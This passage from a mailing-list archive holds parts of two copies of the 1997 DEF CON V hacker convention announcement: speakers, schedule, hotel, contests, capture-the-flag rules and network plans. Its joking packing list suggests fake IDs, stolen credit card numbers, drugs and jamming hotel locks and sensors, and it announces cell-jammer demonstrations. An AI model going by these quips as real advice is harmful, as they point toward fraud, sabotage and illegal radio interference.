        obligated to prove it? Because we'll give the first place winner
        $750. Now, being the wily person you are, I bet you would like to
        know where I got the money for the prizes. It'll come from your
        registration fee of $7.50.  Any half wit can do the math and see the
        10,000% return for the winner. But just for entering you'll be in a
        drawing for really kewl stuff. If you don't think its kewl you can
        just give us your email address and we'll be happy to send you a
        couple hundred thousand messages explaining why the prizes are great.

 [>     NET CONNECTION AND TOPOLOGY:

        DefCon 5 Network Plan (v.99)

        Telecommunications
        ------------------
        Media Type: T1 ESF/B8ZS (not D4/AMI)
        Service Provider: Las Vegas Digital Internet
        Telco: Sprint

        Equipment needed Equipment on-hand
        ---------------- ----------------------------------------------
        CSU/DSU Verilink AS2000's with NCC 2301 cards (JC)
        Router Cisco 2501 (Lock)
        Net Admin server (Lock )
        10bT Hubs 16-port from Lock - need more to populate the room
        10bT Cable (miles) Everybody bring their own - will need some extra
        to link hubs

        Network Services:
        -----------------
        Web Server
        CU-reflector
        RealAudio Server
        IRC server?

        This year we are pre-building many of the network boxes so the net
        can go up first thing Friday.  It looks like we will have a T1 line
        and we will break it out to 10 BaseT hubs.  If you want in on the
        network bring along the appropriate cables and adapters.

        More Net Madness!  The T1 bandwidth will allow us to do the
        following cool stuff:

        - Have several color quickcams and a CU-SeeMe reflector site set
        up so people not at the con can check out what's going on.  During
        the convention check out the DEF CON web site to get the location
        of the reflector site.  You should get and install the software
        needed to view CU-SeeMe streams in advance!

        - Have a RealAudio server set up to stream the speakers talks to
        those who can not attend.

        - Potentially play a competitive multi user game(s) over the net.

        NOTE!  If you wish to participate interactively with the convention
        please e-mail me and we can coordinate something.  It would be
        great to get people from all over the world involved.

 [>     5th ANNUAL SPOT THE FED CONTEST:

        The ever popular paranoia builder.  Who IS that person next to you?

        "Like a paranoid version of pin the tail on the donkey, the
        favorite sport at this gathering of computer hackers and phone
        phreaks seems to be hunting down real and imagined telephone
        security and Federal and local law enforcement authorities who the
        attendees are certain are tracking their every move.. .. Of course,
        they may be right."
                                                        - John Markhoff, NYT

        Basically the contest goes like this:  If you see some shady MIB
        (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood
        to live and die in LA type lurking about, point him out.  Just get
        my attention and claim out loud you think you have spotted a fed.
        The people around at the time will then (I bet) start to discuss the
        possibility of whether or not a real fed has been spotted.  Once
        enough people have decided that a fed has been spotted, and the
        Identified Fed (I.F.) has had a say, and informal vote takes place,
        and if enough people think it's a true fed, or fed wanna-be, or
        other nefarious style character, you win a "I spotted the fed!"
        shirt, and the I.F. gets an "I am the fed!" shirt.

        NOTE TO THE FEDS:  This is all in good fun, and if you survive
        unmolested and undetected, but would still secretly like an "I am
        the fed!" shirt to wear around the office or when booting in doors,
        please contact me when no one is looking and I will take your
        order(s).  Just think of all the looks of awe you'll generate at
        work wearing this shirt while you file away all the paperwork
        you'll have to produce over this convention.  I won't turn in any
        feds who contact me, they have to be spotted by others.

        DOUBLE SECRET NOTE TO FEDS:  This year I am printing up extra "I
        am the Fed!" shirts, and will be trading them for coffee mugs,
        shirts or baseball hats from your favorite TLA.  If you want to
        swap bring along some goodies and we can trade.  Be stealth about
        it if you don't want people to spot you.  Agents from foreign
        governments are welcome to trade too, but I gotta work on my mug
        collection and this is the fastest way.

 [>     RAIL GUN DEMONSTRATION: (Friday)

        On Friday afternoon there will be a demonstration of a hand held
        rail gun.  This garage project should be able to fire a graphite
        washer very, very fast.

 [>     OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday)

        Another interesting creation to be tested on Friday in the desert.
        Come along and watch you cell phone antenna explode with power!
        See control channels crumble before you.

 [>     RADIO BURST CANNON DEMONSTRATION: (Friday)

        While not quite a HERF gun, this should come close.  The RBC should
        be able to produce up to or less than one MegaWatt for up to or less
        than one second.  What will this do?  Who knows!  Come and find out.
        Obviously the above demonstrations will take place away from the
        local hospitals and casinos out in the desert someplace, so be
        prepared.


 HOTELS:----------------------------------------------------------------------

 [> Book your room NOW!!!  We have a block of rooms, but it is first come,
 [> first served.  Rooms get released about one month before the convention.
 [> Book by June 9th or risk it.  The room rates are quite cool this year.


        PRIMARY HOTEL: The Aladdin Hotel and Casino
        3667 Las Vegas Blvd. South, Las Vegas, Nevada
        Built in 1966 it is one of the oldest hotels in Las Vegas that
        hasn't been blown up to make room for newer ones.  It is quite nice
        and has Tennis courts, two swimming pools, Chinese, Vietnamese and
        Korean.  A Seafood and steakhouse, Joe's Diner and a 24 hour coffee
        shop too.  It's located next to the MGM Theme park on the strip.

        PHONE: 1-800-634-3424, reference the "DC Communications conference"
        for reservations.  702-736-0222

        RATES: Single & Double rooms are $65 in the Garden section, $85 for
        the Tower.  Suites are $250 to $350.  All costs are plus 8% room tax.
        Rollaway beds are available for an additional $15 a night.


 STUFF IN VEGAS:--------------------------------------------------------------

 URLs

         Listings of other hotels in Las Vegas, their numbers, WWW pages, etc.
         http://www.intermind.net/im/hotel.html
         http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html

 VENDORS / SPONSORS / RESEARCH:-----------------------------------------------

         If you are interested in selling something (shirts, books,
         computers, whatever) and want to get a table contact me for costs.

         If you have some pet research and you want to have the participants
         fill out anonymous questioners please contact me for the best way
         to do this.

         If you want to sponsor any event or part of DEF CON V in return for
         favorable mentions and media manipulation please contact me.  For
         example in the past Secure Computing has sponsored a firewall
         hacking contest.

 MORE INFO:-------------------------------------------------------------------

  [>     DEF CON Voice Bridge (801) 855-3326

         This is a multi-line voice bbs, VMB and voice conference system.
         There are 5 or so conference areas, with up to eight people on each
         one.  Anyone can create a free VMB, and there are different voice
         bbs sections for separate topics.  This is a good neutral meeting
         place to hook up with others.

         The Voice bridge will be changing numbers soon, but the old number
         will refer you to the new location.  The new spot won't suffer from
         "Phantom" bridges!

  [>     MAILING LIST

         send emial to majordomo@merde.dis.org and in the body of the message
         include the following on a separate line each.

         subscribe dc-stuff

         dc-announce is used for convention updates and major announcements,
         dc-stuff is related to general conversation, planning rides and
         rooms, etc.

  [>     WWW Site http://www.defcon.org/

         Convention updates and archives from previous conventions are housed
         here.  Past speakers, topics, and stuff for sale.  Also a growing
         section of links to other places of interest and current events.

  [>     The Third Annual California Car Caravan to DEF CON!
         http://www.netninja.com/caravan

         There are also some resources (links to other web sites and text
         files) generally related to DefCon--not specifically the California
         Caravan. These resources are available at:
         http://www.netninja.com/caravan/resources.html

  [>     The DEF CON V Car ride sharing page:  Use this site to arrange ride
         sharing to the convention from all over North America.  If you can
         spare a seat for someone, or need to leech a ride go to the ride
         sharing page set up by Squeaky.

         http://garbage.bridge.net/~defcon/defcon.html

  [>     EMAIL dtangent@defcon.org

         Send all email questions / comments to dtangent@defcon.org.  It has
         been said that my email is monitored by various people.  If you want
         to say something private, please do so with my pgp key (At the
         bottom of this announcement)  I usually respond to everything, if
         not I'm swamped or had a system problem.

  [>     GIVE ME MONEY! SNAIL MAIL PRE-REGISTRATION

         Send all written materials, pre-registrations, etc. to:

         DEF CON, 2709 E. Madison, Seattle WA, 98112
         If you are pre-registering for $30 please make payable to DEF CON
         and include a name to which you want the registration to apply.
         I don't respond to registrations unless you request.

 DO YOU WANT TO HELP?---------------------------------------------------------

         Here is what you can do if you want to help out or participate in
         some way:

         Donate stuff for the continuous giveaways and the various contests.
         Got extra ancient stuff, or new cool stuff you don't use anymore?
         Donate it to a good cause!  One person was very happy over winning
         an osborne "portable" computer.

         ORGANIZE sharing a room or rides with other people in your area.
         Join the mailing list and let people know you have floor space or
         some extra seats in your car.  Hey, what's the worst that can
         happen besides a trashed hotel room or a car-jacking?

         CREATE questions for hacker jeopardy (you know how the game is
         played) and email them to winn@infowar.com.  No one helped out last
         year, so this year let's try.  Everything from "Famous narks" to
         "unix bugs" is fair game.

         BRING a machine with a 10bt interface card, and get on the local
         network, trade pgp signatures, etc.

 FINAL CHECK LIST OF STUFF TO BRING:------------------------------------------

         From: Enigma

          Here is a list of items to bring to DefCon.  These are only
         suggestions.  Your mileage may vary.  :)

         Items to bring to DefCon
         ~~~~~ ~~ ~~~~~ ~~ ~~~~~~
         Clothing
         - Comfortable shirts and pants/shorts
         - Socks, underwear, etc
         - Bathing suit
         - Toiletries (deodorant, toothbrush, comb, hair spray,..., giant
           tub of hair grease, Oxy pads, etc)
         - An extra towel (don't leave home without it.  Anyway, doesn't
           it always seem that you run out of clean towels in the
           bathroom?)
         - Something cool, hip, pimp-o-matic, or ninja-riffic to wear
           Saturday night at the Black and White Ball
           You can skip the deodorant and extra clothing if all you are going
           to do is play "Magic: The Gathering" and "Quake."  Everyone else
           does.

         Stuph
         - Your shades.  Vegas is hot.  The sun is bright.  'Nuff said.
           (If you wear eye glasses, I hear the clip-on, flip-up sunglasses
           are quite the fashion statement)
         - Sunscreen of at least SPF 100.  After spending hundreds of hours
           in front of the monitor, who needs the sun to ruin their ghostly
           white tan?
         - A hat--preferably with a cool logo or catchy phrase like "Gandalf
           Routers," "Netscape," "Microsoft [with "sucks" scrawled below it
           in permanent marker]", "I [heart] [insert government institution:
           Cops, Feds, etc]"...you get the idea
         - Note book, palmtop, or laptop to take notes on during the speeches
         - [Micro]casette recorder to record the speeches (or everyone
           getting drunk in your room Saturday night, not knowing what they
           are saying, with no hope of remembering it...excellent blackmail
           material!)
         - Camcorder (see above...<>)
         - Digital camera--for all of the above reasons PLUS you can
           instantly upload the images through the T1 onto the net
         - Fake ID for all of you under 18/21
         - Fake ID for everyone else, if you're planning something illegal
         - Your best jokes (Nooooo!  Not the superman joke!  Not the pink
           joke)
         - Your best hacking stories...these are all about something "your
           friend" did, aren't they?  You wouldn't admit to doing anything
           illegal, now, would you?
         - Someone else's--oops, I mean "your" credit card numbers

         Fun
         - Your drug(s) of choice -- From caffeine to pot to speed to acid
         - Zippo and extra fuel.  And while you're at it, put an extra flint
           (assuming you can find one in the back of your junk drawer) in
           the bottom.  You always run out at just the wrong time.
         - Extra smokez (Splurge: get some cigars or cloves for the weekend)
         - Leather
         - Handcuffs and chains, nipple clamps, etc.
         - Saran wrap, duct tape, electrical tape, gaffer's tape
         - Candles (the drippy kind)
         - Incense
         - Oils
         - Your copy of "The Pocket Kama Sutra" (ISBN 0-7894-0437-0)
         - That corn starch and water "slime" that Light Ray (I believe) and
           others believed to be the ultimate thing, several DefCon's back.

         Tech
         - Laptop w/ Ethernet card
         - Extra laptop battery
         - A zip drive with a stack of disks containing all your soooper
           k-rad haxing utilities and g-files
         - 10bt/10b2 cabling
         - A small hub
         - You did remember to put a packet sniffer on your zip disk, right?
           Just checking.
         - Every power cord you could possibly need
         - A serial cable with a plethora of adapters so you can get each
           end to be male/female, 9pin/25pin, null-modem/straight
         - Cable to connect the above mentioned digital camera to the laptop
         - Scanner (modded, of course)
         - Frequency counter (I hear the "Scout" is pretty good)
         - HAM radio.  Any band, any frequency.  You didn't modify it to
           transmit on arbitrary frequencies, did you?  Naughty monkey!
         - An assortment of tuned antennas
         - That zip disk has the FCC frequency allocations on it, right?
         - Your uber-elite organizer (the DOS based HP palmtops are quite
           cool) to collect handles and email addresses from people
         - High energy weapons ("Is that an unlicensed nuclear accelerator
           on your back?"  "No, it's just a HERF gun."  "Oh.")
         - Laser pointer (don't get kicked out of the hotel again, youz
           doodz)
         - Your "white courtesy phone" that you stole from the Monte Carlo
           last year
         - A microbroadcasting station with plenty of tuneage
         - Your lock picks or lock picking gun
         - A pocket-sized tool kit containing a modular screwdriver and
           plenty of attachments (flathead, philips, torx, hex, etc)
         - A pocket knife, pliers and wire cutters--or alternatively a
           Leatherman's tool
         - Hell, while you're at it: why not some bring bolt cutters, a
           sledge hammer, and a hack saw?
         - Telephone handset with alligator clips.  Or, if you're uber-
           31337, you have a lineman's butt set (with the serial number
           and telco logo filed off)
         - Bubble gum or epoxy putty--anything maleable and hardens.
           This is good for fixing hoses under the hood of your car.
           It's also useful to jam mechanical sensors (What would happen
           if the microwave always though it's door was open?  Or if the
           elevator always thought there was someone blocking the path
           of the door?  Wouldn't hotel security be pissed if they
           couldn't get into their security room because someone jammed
           a toothpick into the keyhole with krazy glue?)
         - An alabi
         - Spam
         - Multimeter
         - Cordless electric soldering iron
         - Parts box

 MY PGP KEY:------------------------------------------------------------------

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 Version: 2.6.1

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 2 Jul 1997 01:33:31 +0800
To: cypherpunks@toad.com
Subject: DEF CON V Convention Announcement #1.19 (06.30.97)
Message-ID: <v03007806afdee8e1a8f9@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



[I'm planning to show up Friday morning. Anyone else going? --Declan]

*******

 READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

             DEF CON V Convention Announcement #1.19 (06.30.97)
          July 11-13th @ the Aladdin Hotel and Casino in Las Vegas

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 READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

                     The only convention with free beer!

 IN SHORT:--------------------------------------------------------------------

         WHAT: Speakers and partying in Vegas for all hackers
         WHEN: July 11th - 13th
         WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino
         COSTS: $30 in advance, $40 at the door
         MORE INFO: http://www.defcon.org or email info@defcon.org

 IN LONG:---------------------------------------------------------------------

 It's time to brave Las Vegas again for DEF CON!  This is an initial
 announcement and invitation to DEF CON V, a convention for the "underground"
 elements of the computer culture.  We try to target the (Fill in your
 favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers,
 Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks,
 Futurists, Artists, Criminally Insane, Hearing Impaired.  It seems that
 books about the culture are becoming more popular, so of course reporters
 are also welcome.  You won't be hurt.  I promise.  Just bring cash for
 drinks.

 So you heard about DEF CON IV, and want to hit part V?  You heard about the
 parties, the info discussed, the bizarre atmosphere of Las Vegas and want to
 check it out in person?  You want to do weird shit _away_ from the hotel
 where you can't get me in trouble?  You have intimate knowledge of the SWIFT
 network, and want to transfer millions of dollars to the Def Con account?
 Then you're just the person to attend!

 What DEF CON is known for is the open discussion of all ideas, the free
 environment to make new contacts and the lack of ego.  More people have made
 great friends at DEF CON over the years than my brain can conceive of.  DEF
 CON is also known for letting the "Suits" (Government / Corporate) mix with
 everyone and get an idea of what the scene is all about.  The media makes an
 appearance every year and we try to educate them as to what is really going
 on.  Basically it has turned into the place to be if you are at all
 interested in the computer underground.

 [Note]-----------------------------------------------------------------------

 Now last year over 800 people showed up and threw my whole program for a
 loop.  I was thinking 500+ people, but when 800 showed up it got a little
 crazy for the planning staff.  This year I am planning for 1,000.  This
 way I will be able to accommodate everyone and have less logistical screw-
 ups.

 I would also like to apologize to everyone last year who had temporary
 badges for half the convention, etc.  I will do all that is possible for
 maximum coolness, and minimum hassles.   Anyway, enough of my shit, on with
 the details.

 [End Note]-------------------------------------------------------------------

 SPEAKERS:--------------------------------------------------------------------

 Over the years DEF CON has had many notable speakers.  This year there will
 be more of an emphasis on technical talks.  There will be a separate smaller
 room for break-out sessions of more specific topics.  While the talks of the
 past have been great, it always seems some tech people drop out and general
 talks fill in.  I will load it tech heavy so when people do drop out there
 will still be plenty of meat left for the propeller heads.

 There will be some speaking on Friday evening before Hacker Jeopardy, all
 day Saturday and Sunday.  About 20 people will speak, plus smaller tech
 sessions.  If you are interested in speaking or demonstrating something
 please contact me.

 Current speakers include:

 [> Nhil - Windows NT (in)security.  The challenge response system, NT 5.0
    Kerb security services, man in the middle attacks on domain controllers.
    This will be a more technical discussion of NT related security.

 [> Koresh - Hacking Novell Netware.

 [> Yobie - Emerging infrastructures made possible by Java.  He will describe
    and talk about Java as the foundation for a global, object-oriented
    distributed network.  New concepts and computing paradigms will discussed
    as well as applications for both applications development or straight-out
    hacking.

 [> Mudge - System Administrator for L0pht Heavy Industries.  He will present
    a technical talk on something cool.

 [> Clovis - From the Hacker Jeopardy winning team.  He will discuss issues
    with security and networked object systems, looking at some of the
    recent security issues found with activeX and detail some of the
    potentials and problems with network objects. Topics will include
    development of objects, distributed objects, standards, ActiveX, corba,
    and hacking objects.

 [> Bruce Schneier - Author of Applied Cryptography and the Blowfish
    algorithm - Why cryptography is harder than it looks.

 [> FBI Computer Crime Squad - They will make another appearance this year
    only if I can bribe them with the audio from last years convention.  Can
    I do it in time?

 [> Richard Thieme - "The Dynamics of Social Engineering: a cognitive map for
    getting what you need to know, working in networks, and engaging in
    espionage quietly; the uses of paranoia, imagination, and grandiosity
    to build the Big Picture.

 [> Wrangler - Packet Sniffing:  He will define the idea, explain everything
    from 802.2 frames down to the TCP datagram, and explain the mechanisms
    (NIT, bpf) that different platforms provide to allow the hack.

    Wrangler has been programming since seven column paper tape.  He is a
    loner with the social skills of a California Condor.  He has never been
    a member of LOD, MOD, or any other group.  He has written no books, is
    not currently employed, and refuses to discuss what he refers to as "that
    credit card provider thing back when I used to do mainframe shit."   His
    current projects include looking for his next Fortune 100 contract and
    writing the DEFCON V virus.

 [> Seven - What the feds think of us.

 [> Richard K. - Electronic countermeasures, counter espionage, risk
    management.  Should include a demonstration of electronic
    countermeasures equipment as well as a talk on what works, what doesn't,
    and the industry.

 [> Tom Farley the Publisher of the "Private Line" journal, and Ken
    Kumasawa of TeleDesign Management - Toll Fraud in the 90s: Two
    perspectives.  An overview of phreaking from a hackers point of view and
    an industry/security consultants point.

 [> Michael Quattrocchi - The future of digital cash and a presentation about
    the modernization and state of register-level debit cards; in effect
    currently throughout Canada.

 [> The Deth Vegetable - "The Cult of the Dead Cow embarks on a new era of
    Global Domination for the 21st Century three years early -- if you're
    not at Defcon this year, you won't be down with the master plan.
    Important announcements and startling new developments that will affect
    the entire history of the Computer Underground as you know it."

 [> Ira Winkler - Real life case studies of successful and unsuccessful
    corporate espionage.

 [> Sameer Parekh - c2.net - Why cryptography is harder than it looks, part
    two.  A look at implementation and production problems facing people and
    companies wishing to develope and distribute strong encryption.

 [> Carolyn P. Meinel - Moderator of the Happy Hacker Digest and mailing
    lists.  She will preside over a seperate Happy Hacker discussion
    pannel that will cover the topics of wether or not "newbies" should have
    information handed to them, or should they learn for themselves?

 [> Dan Veeneman -  Low Earth Orbit satellites are nearing the launch stage,
    and this talk will cover the different systems that are planned and some
    of the services they'll offer.  A bit on GPS that wasn't covered last
    year as well as the ever popular question and answer section.

 [> Hobbit - CIFS is a load of CACA - Random SMB CIFS stuff in Microsfot
    products.

 [> Cyber - An overview and explanation of available crypto-tools.  What
    tools and programs do what, when to use them and on what platforms.
    From someone who has spent lots of time playing around with the
    currently available set of applications.

 [> Keith - Has some experience writing firmware for embedded
    microcontroller applications, and is giving a technical talk on
    applications of microcontrollers in the h/p community.

 [> James Jorasch - Hacking Vegas - How to games the gamers.  From someone
    who used to deal with hotel casino security.  What really goes on?

 SCHEDULE:--------------------------------------------------------------------

 FRIDAY:  Network Setup, Sign in, Informal PGP Keysigning at the "PGP table",
 Lots of Partying.  Capture the Flag Contest Starts at 16:00

 On Friday there will be the demonstrations of the Radio Burst Cannon, a
 "real" rail gun, and an omni-directional cell phone jammer.  Times to be
 announced.

 10:00 -       Doors open, sign in starts
 10:00 -       Movies start in main conference room
 16:00 -       Capture the Flag II starts
 15:30 -       Round up and head off for demonstrations of HERF, and
               rail gun madness.  Nothing may happen, then again..

 23:30 - 23:00 James Jorasch - "Hacking Vegas" how to beat the system in
               Vegas by someone who knows it inside and out.
 23:00 - 03:00 Hacker Jeopardy Starts.

 SATURDAY:

 10:00 - 10:50 Richard Thieme - The Dynamics of Social Engineering.
 11:00 - 11:50 Yobie - Emerging infrastructures made possible by Java.
 12:00 - 12:50 Clovis - issues with security and networked object systems.
 13:00 - 13:50 FBI Computer Crime Squad -
 14:00 - 14:50 Deth Veggie - Global Domination, cDc style.
 15:00 - 15:50 Seven - What the feds think of us.
 16:00 - 16:50 Richard K. -
 17:00 - 17:50 Tom Farley and Ken K. - Toll Fraud in the 90s: Two
               perspectives.

 Saturday Breakout Tech Sessions:

 Koresh     - Novell issues.
 Mudge      - Secure Coding.
 Hobbit     - Why CIFS is CACA.
 Nihil      - NT security issues.
 Wrangler   - Packet Sniffing.
 Keith      - firmware for embedded microcontroller applications.

 24:00 (Midnight) Final rounds of Hacker Jeopardy.

 SUNDAY:

 10:00 - 10:50 Ira Winkler - Industrial Espionage.
 11:00 - 11:50 Sameer - Why cryptography is harder than it looks, part two.
 12:00 - 12:50 Cyber - An overview and explanation of available crypto-tools.
 13:00 - 13:50 Carolyn Meinel - Happy Hacker Panel.
 14:00 - 14:50 Michael Q. - The future of digital cash.
 15:00 - 15:50 Dan Veeneman - Low Earth Orbit satellites.

 Sunday Breakout Tech Sessions:

 Happy Hacker track

 Panel: "The Newbie Experiments"

 Moderator is Carolyn Meinel, author of the Guides to (mostly) Harmless
 Hacking series. Other panel members are:

 - Matt Hinze, editor of the Happy Hacker Digest.
 - Bronc Buster, who runs a Web forum, IRC server and the New Buckaroos Web
   site for his fast-growing band of newbies.
 - Mark Biernacki of Shellonly.com will talk about this new ISP which is
   designed to make it easy for newbies to learn to hack. Just say "Telnet
   port 22!"
 - Jericho, who will hold forth on "Let the newbies fend for themselves."

 We will allow each panel member to open with a brief presentation of his or
 her work, followed by debate first among panel members, followed by Q&A from
 the audience. We expect some intense debate:-)

 Then if the Aladdin hotel hasn't yet been demolished yet by riots, we will
 continue with a series of individual presentations:

 - Jon McClintock, editor of Happy-SAD (Systems Administrator Digest) will
   demonstrate how to install Linux.
 - Bronc Buster will hold forth on the Windows 95 denial of service programs
   his Web site offers.
 - Carolyn Meinel will demonstrate how to read email headers, create, and
   decipher forged email.

 Breakout Tech Sessions:

 16:00          Awards for Capture the Flag
                End of it all, cleanup, etc.  See you all next year!

 EVENTS:----------------------------------------------------------------------

 [>     HACKER JEOPARDY:

        Winn is back with Hacker Jeopardy!!  The third year in the running!
        Can the all-powerful Strat and his crypto-minion Erik, whose force
        cannot be contained, be defeated?!  Will the powers that be allow
        Strat-Meister to dominate this beloved event for the third year in
        a row?!  Can Erik continue to pimp-slap the audience into submission
        with a spoon in his mouth?!?  Only Skill, Time, and booze will tell
        the tail!

        The Holy Cow will help supply the beer, you supply the answers.
        The first round starts at 12 midnight o'clock on Friday and lasts
        until it is done.  The second and secret rounds will happen Saturday
        at midnight.

        6 teams will be picked at random and compete for the final round.
        There can be only one!  Strat's Team, the winners from last year
        will defend if all the members can be found.

 [>     FREE BEER!

        Holy Cow will provide free beer tickets!  If you are over 21 prepare
        to consume "hacker" beers.  Actually it's whatever beer they have on
        tap, but it's the best beer in Las Vegas.  Follow Las Vegas Blvd. up
        until you see the florescent cow with the big sunglasses.  All taxi
        drivers know of this Mecca.  Over 1,000 free beers in all!

 [>     BLACK AND WHITE BALL:

        We've talked it over, and the verdict is in.  For the last two years
        at DEF CON there has been a sort of unspoken Saturday night dress up
        event.  People have worn everything from party dresses and Tuxedoes
        to AJ's ultra pimp Swank outfit with tiger print kilt.  This year it
        is official.  Wear your cool shit Saturday night, be it gothic or PVC
        vinyl or Yakuza looking black MIBs.  No prizes, just your chance to
        be the uber-bustah pimp.

 [>     THE TCP/IP DRINKING GAME:

        If you don't know the rules, you'll figure 'em out.

 [>     CAPTURE THE FLAG:


                  ALL NEW, ALL IMPROVED, MORE CONFRONTATIONAL,
                         1997 ILLUMINATI INVITATIONAL,
                        CAPTURE THE FLAG, HACKER STYLE.

      The goal is to take over everybody else's server while protecting your
      own. To cut down on lag time and federal offences we're providing a
      playing field of 5 flag-machine networks connected by a big router in
      the middle.

      The rules:

      1) No taking the network down for more than 60 seconds.
      2) No taking any flag machine (including your own) down for more than
         3 minutes.
      3) In order to be counted in the game, a team's flag machine must
         - be directly connected to the network;
         - have a text file flag on the machine readable by at least 2
           accounts,
         - keep at least 3 *normal* services running in a way that a
           client could actually get their work done using them.       
         - run a web server if technically possible.
      4) No goonery/summoning of elder gods/Mickey Finns/physical
         coercion... you get the idea.  ( You had the idea, but we're
         trying to prevent you from using it. )


      The field of play :
      Each network will have a "server" of some kind on it, called the flag
      machine. At the start of the game, these servers will be stock
      installations a lot like what you'd see on the average academic/secret
      cabal/military/megacorp  network. Each of these machines  will have a
      PGP private key, named root.flag, and a web server.

      There will also be a machine to provide DNS, called the scoreboard.

      Teams:
      Teams can be one human or more. In order to be a team, you have
      to generate 20 256bit PGP key pairs, have a DEFCON goon pgp-sign
      them and put the public keys on the scoreboard webserver. We'll
      generate a hundred key pairs in advance, so the first five teams can
      just grab a floppy disk (if they're trusting).

      To prove that you've hacked a flag machine, PGP - sign a message with
      the root.flag from the hacked machine, then with one of your own.
      Post the doubly-signed message on the scorekeeper  web server, and
      you've captured that flag (and invalidated the captured root.flag).

      When you've captured a flag, decide between conquest and
      condescension: either take over the server yourself, or hand it back
      to its not-so-eleet owners. To conquer, put one of your PGP private
      keys on the captured server to become the next root.flag.  (Of
      course, you have to properly secure the server to maintain your new
      territory.)

      To condescend, just wait until the original owners see their shame
      spread across the scoreboard. (It would sure be a pity if
      they had to put up a new key before they figured out how you got in
      last time, wouldn't it?)

      Two Ways to Win:

      #1 EVIL EMPIRE: Whoever has the most servers responding with their
         teams' private keys at the end wins.

      #2 PIRATE: Fabulous prizes will also be given to whoever racks up the
         highest total number of flags captured.

      Rough game mechanics (why is everyone so untrusting?):
      Once every 5 minutes or more, the scoreboard machine will post a
      plaintext challenge.  Every team that claims to own a server has to
      PGP-sign that challenge with the private key registered for that
      server and post the signed version on their machine. If a server
      can't respond within 3 minutes, then nobody owns it, and it's fair
      game to be taken back over by the goons.

      Specific rules will be available in print at DefCon before the game
      begins.

      This was a message from The People


 [>     QUAKE COMPETITION:

        http://www.ctive.com/ntech/defcon.htm

        This year knightPhlight contacted me and wanted to organize a single
        elimination Quake competition to find out who that badest ass 'mo 'fo
        is.  Check out the web site to get the rules, sign up, or to
        donate a computer the greater good of destruction.

        It is IMHO that Quake by id Software rules 3D action gaming. But who
        rules Quake?  We'll find out this July 11th-13th at the DefCon
        Conference in Las Vegas. This isn't going to be a networked game
        intent on quickly eliminating as many players as possible in a single
        round. Rather, one-on-one games will be played to absolutely
        determine who the best really is.

        Of course, you already know your the best so why would you feel
        obligated to prove it? Because we'll give the first place winner
        $750. Now, being the wily person you are, I bet you would like to
        know where I got the money for the prizes. It'll come from your
        registration fee of $7.50.  Any half wit can do the math and see the
        10,000% return for the winner. But just for entering you'll be in a
        drawing for really kewl stuff. If you don't think its kewl you can
        just give us your email address and we'll be happy to send you a
        couple hundred thousand messages explaining why the prizes are great.

 [>     NET CONNECTION AND TOPOLOGY:

        DefCon 5 Network Plan (v.99)

        Telecommunications
        ------------------
        Media Type: T1 ESF/B8ZS (not D4/AMI)
        Service Provider: Las Vegas Digital Internet
        Telco: Sprint

        Equipment needed Equipment on-hand
        ---------------- ----------------------------------------------
        CSU/DSU Verilink AS2000's with NCC 2301 cards (JC)
        Router Cisco 2501 (Lock)
        Net Admin server (Lock )
        10bT Hubs 16-port from Lock - need more to populate the room
        10bT Cable (miles) Everybody bring their own - will need some extra
        to link hubs

        Network Services:
        -----------------
        Web Server
        CU-reflector
        RealAudio Server
        IRC server?

        This year we are pre-building many of the network boxes so the net
        can go up first thing Friday.  It looks like we will have a T1 line
        and we will break it out to 10 BaseT hubs.  If you want in on the
        network bring along the appropriate cables and adapters.

        More Net Madness!  The T1 bandwidth will allow us to do the
        following cool stuff:

        - Have several color quickcams and a CU-SeeMe reflector site set
        up so people not at the con can check out what's going on.  During
        the convention check out the DEF CON web site to get the location
        of the reflector site.  You should get and install the software
        needed to view CU-SeeMe streams in advance!

        - Have a RealAudio server set up to stream the speakers talks to
        those who can not attend.

        - Potentially play a competitive multi user game(s) over the net.

        NOTE!  If you wish to participate interactively with the convention
        please e-mail me and we can coordinate something.  It would be
        great to get people from all over the world involved.

 [>     5th ANNUAL SPOT THE FED CONTEST:

        The ever popular paranoia builder.  Who IS that person next to you?

        "Like a paranoid version of pin the tail on the donkey, the
        favorite sport at this gathering of computer hackers and phone
        phreaks seems to be hunting down real and imagined telephone
        security and Federal and local law enforcement authorities who the
        attendees are certain are tracking their every move.. .. Of course,
        they may be right."
                                                        - John Markhoff, NYT

        Basically the contest goes like this:  If you see some shady MIB
        (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood
        to live and die in LA type lurking about, point him out.  Just get
        my attention and claim out loud you think you have spotted a fed.
        The people around at the time will then (I bet) start to discuss the
        possibility of whether or not a real fed has been spotted.  Once
        enough people have decided that a fed has been spotted, and the
        Identified Fed (I.F.) has had a say, and informal vote takes place,
        and if enough people think it's a true fed, or fed wanna-be, or
        other nefarious style character, you win a "I spotted the fed!"
        shirt, and the I.F. gets an "I am the fed!" shirt.

        NOTE TO THE FEDS:  This is all in good fun, and if you survive
        unmolested and undetected, but would still secretly like an "I am
        the fed!" shirt to wear around the office or when booting in doors,
        please contact me when no one is looking and I will take your
        order(s).  Just think of all the looks of awe you'll generate at
        work wearing this shirt while you file away all the paperwork
        you'll have to produce over this convention.  I won't turn in any
        feds who contact me, they have to be spotted by others.

        DOUBLE SECRET NOTE TO FEDS:  This year I am printing up extra "I
        am the Fed!" shirts, and will be trading them for coffee mugs,
        shirts or baseball hats from your favorite TLA.  If you want to
        swap bring along some goodies and we can trade.  Be stealth about
        it if you don't want people to spot you.  Agents from foreign
        governments are welcome to trade too, but I gotta work on my mug
        collection and this is the fastest way.

 [>     RAIL GUN DEMONSTRATION: (Friday)

        On Friday afternoon there will be a demonstration of a hand held
        rail gun.  This garage project should be able to fire a graphite
        washer very, very fast.

 [>     OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday)

        Another interesting creation to be tested on Friday in the desert.
        Come along and watch you cell phone antenna explode with power!
        See control channels crumble before you.

